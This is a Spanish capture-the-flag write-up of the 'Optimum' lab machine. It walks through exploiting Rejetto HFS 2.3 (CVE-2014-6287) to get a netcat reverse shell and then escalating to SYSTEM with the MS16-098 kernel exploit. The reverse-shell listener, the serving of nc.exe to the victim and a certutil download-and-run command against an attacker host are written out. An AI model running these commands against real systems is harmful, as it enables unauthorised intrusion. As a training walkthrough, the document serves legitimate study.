Optimum
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El único puerto, el80, sirve un HttpFileServer (HFS) 2.3, un servidor de ficheros con un RCE público conocido (Rejetto HFS 2.3.x). Un exploit desearchsploit(39161.py), tras ajustar IP/puerto y servir unnc.exepor HTTP, da una shell comokostas(user). El sistema es un Windows Server 2012 R2 sin parchear:windows-exploit-suggestercruza elsysteminfoy propone MS16-098 (RGNOBJinteger overflow). Se sube el binario41020.execoncertutily se ejecuta →NT AUTHORITY\SYSTEM.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.10.8
64 bytes from 10.10.10.8: icmp_seq=1 ttl=127 time=112 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un primer escaneo de todos los puertos TCP (SYN, --min-rate 5000) deja un único puerto abierto, el 80:
nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.8
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127Lanzamos sobre ese puerto la detección de versiones y los scripts básicos (-sCV). Aquí está la pista que define la máquina:
extractPorts, una función del .zshrc, resume el fichero -oG y deja el puerto en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.8
Open ports: 80
Ports copied to clipboardnmap -p80 -sCV 10.10.10.8
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsEl servicio es HttpFileServer (HFS) 2.3, un servidor de ficheros HTTP de Rejetto. La versión es la clave: HFS 2.3.x arrastra un RCE público muy conocido.
TCP 80 - Enumeración web
Antes de tirar del exploit conviene perfilar la web. whatweb y Wappalyzer confirman el servidor y poco más (jQuery 1.4.4, sin nada explotable por sí mismo):
whatweb 10.10.10.8
http://10.10.10.8 [200 OK] Cookies[HFS_SID], Country[RESERVED][ZZ], HTTPServer[HFS 2.3], HttpFileServer, IP[10.10.10.8], JQuery[1.4.4], Script[text/javascript], Title[HFS /]whatweb confirma el cabecera HTTPServer[HFS 2.3] y JQuery[1.4.4], sin nada más explotable por sí mismo.

La inspección del código fuente no aporta nada relevante:

Y un barrido de rutas con dirsearch (excluyendo 403/404) tampoco destapa recursos interesantes:
dirsearch -u http://10.10.10.8/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.8/
[18:32:51] Starting:
[18:34:11] 200 - 576B - /favicon.ico
Task CompletedEl único acierto es /favicon.ico: no hay rutas ocultas que enumerar.
La enumeración web confirma lo que ya sospechábamos: el vector no es una ruta oculta, sino la versión vulnerable de HFS.
Acceso como kostas
HFS 2.3 - Ejecución remota de comandos (RCE)
Buscamos exploits públicos para esa versión con searchsploit:
searchsploit HFS 2.3
Exploit Title | Path
-------------------------------------------------------------------|------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasp) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)| windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)| windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Exe | windows/webapps/34852.txtEntre los candidatos, el Python windows/remote/39161.py es el que usaremos.
Hay varios RCE para Rejetto HFS 2.3.x. Usamos el de Python windows/remote/39161.py y lo copiamos al directorio de trabajo:
searchsploit -m windows/remote/39161.py
Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
URL: https://www.exploit-db.com/exploits/39161
Path: /usr/share/exploitdb/exploits/windows/remote/39161.py
Codes: CVE-2014-6287, OSVDB-111386
Copied to: /home/krmena/machines/optimum/content/39161.pyEl exploit corresponde a CVE-2014-6287.
Una primera ejecución a secas avisa de que hay que ajustar IP y puerto locales dentro del script:
python2 39161.py
[.]Something went wrong ..!
Usage is [.] python exploit.py <Target IP address> <Target Port Number>
Don't forgot to change the Local IP address and Port number on the scriptEl propio PoC pide el IP/puerto del objetivo como argumentos y recuerda cambiar el IP/puerto local dentro del script.
Editamos el script con nuestra IP de atacante y el puerto de escucha:

Hay un detalle que no basta con configurar: el payload del exploit descarga y ejecuta nc.exe desde un servidor HTTP nuestro. Por eso, además del listener, hay que servir nc.exe por HTTP. La secuencia completa:
# 1) copiar nc.exe al directorio y servirlo por HTTP
cp $(locate nc.exe | head -n 1) .
python3 -m http.server 80
# 2) listener para la reverse shell
sudo rlwrap nc -nlvp 443
# 3) lanzar el exploit (a veces hay que ejecutarlo dos veces)
python2 39161.py 10.10.10.8 80
En el servidor HTTP se ven las peticiones GET /nc.exe de la víctima, y en el listener entra la shell:
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.8] 49165
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>La shell entra como kostas. Leemos la flag de usuario:
type user.txt
57c7281165e97414344735458b3cd051Escalada a SYSTEM
Reconocimiento del sistema
Con sudo -l no aplica aquí (Windows); el patrón en una caja Windows sin servicios mal configurados es buscar un exploit de kernel. El primer paso es la versión exacta del sistema, que sale de systeminfo:
systeminfo
Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
System Type: x64-based PC
Domain: HTB
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
...Datos clave: Windows Server 2012 R2 Standard, versión 6.3.9600 Build 9600, arquitectura x64, dominio HTB. La lista de hotfixes es corta, señal de un sistema apenas parcheado.
Guardamos esa salida en un fichero local para alimentar la herramienta:

Windows Exploit Suggester → MS16-098
Buscamos la herramienta y la localizamos en el repo de AonCyberLabs:

La descargamos con wget:
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py
--2025-10-06 19:21:17-- https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, ...
Connecting to raw.githubusercontent.com|2606:50c0:8000::154|:443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 69175 (68K) [text/plain]
Saving to: 'windows-exploit-suggester.py'
2025-10-06 19:21:17 (9.00 MB/s) - 'windows-exploit-suggester.py' saved [69175/69175]windows-exploit-suggester cruza el systeminfo con una base de exploits conocidos. Primero se descarga esa base de vulnerabilidades con -u, que genera un .xls:
python2 windows-exploit-suggester.py -u
ls -l *-mssb.xls
[*] initiating winsploit version 3.3 ...
[+] writing to file 2025-10-08-mssb.xls
[*] done
$ ls -l 2025-10-08-mssb.xls
-rw-r--r-- 1 root root 2093862 Oct 8 17:14 2025-10-08-mssb.xlsLuego se ejecuta contra nuestro fichero, indicando la base con --database:
python2 windows-exploit-suggester.py --database 2025-10-06-mssb.xls --systeminfo windowsInfo.txt
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] windows version identified as 'Windows 2012 R2 64-bit'
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[M] MS16-075: Security Update for Windows SMB Server (3164038) - ImportantLa versión se identifica como Windows 2012 R2 64-bit y entre los boletines destaca MS16-098 con su exploit 41020.
Entre los candidatos destaca MS16-098, el 'RGNOBJ' Integer Overflow (exploit 41020 en exploit-db), un fallo en los drivers en modo kernel idóneo para esta build.
Explotación de MS16-098 (41020.exe)
Descargamos el binario precompilado del exploit y lo dejamos listo para transferir:


Lo servimos por HTTP desde el atacante y lo descargamos en la víctima con certutil.exe (un living-off-the-land binary que descarga ficheros), y lo ejecutamos:
certutil.exe -f -urlcache -split http://10.10.16.6/41020.exe 41020.exe
41020.exe
whoami
type C:\Users\Administrator\Desktop\root.txt
C:\Users\kostas\Desktop>whoami
nt authority\system
C:\Users\kostas\Desktop>type C:\Users\Administrator\Desktop\root.txt
9f273dbed53873976f6d7e17ab5cf2d0El exploit eleva el proceso a NT AUTHORITY\SYSTEM, control total de la máquina.
Cadena de ataque
nmap (80 HttpFileServer 2.3)
└─> searchsploit HFS 2.3 → 39161.py (RCE Rejetto HFS 2.3.x)
└─> editar IP/puerto + servir nc.exe por HTTP → reverse shell como kostas + user.txt
└─> systeminfo: Windows Server 2012 R2 6.3.9600 (sin parchear)
└─> windows-exploit-suggester → MS16-098 (41020.exe)
└─> certutil descarga 41020.exe → NT AUTHORITY\SYSTEM + root.txtLecciones aprendidas
- La versión del servicio es media máquina. En cuanto
nmap -sCVrevelóHttpFileServer 2.3, el camino quedó marcado: una versión concreta de software conocido casi siempre tiene un exploit público. La enumeración web (whatweb, código fuente, dirsearch) sirvió para descartar rutas, no para encontrar el vector. - Leer el exploit antes de lanzarlo.
39161.pyno funciona "tal cual": hay que ajustar IP/puerto y, sobre todo, entender que descarganc.exedesde un HTTP propio. Ejecutar un PoC a ciegas suele fallar; leerlo evita perder tiempo. systeminfo+ Windows Exploit Suggester es el flujo estándar de privesc en Windows sin parchear. La versión y la lista de hotfixes mapean directamente a un boletín MS y su exploit.certutiles elwgetde Windows. Un living-off-the-land binary presente por defecto que descarga ficheros sin subir herramientas extra: muy útil para transferir el exploit final.- Un exploit de kernel depende de la build. MS16-098 va contra Windows 8.1/2012 R2 x64; confirmar
OS Versiony arquitectura antes de elegir el binario evita crashes y intentos fallidos.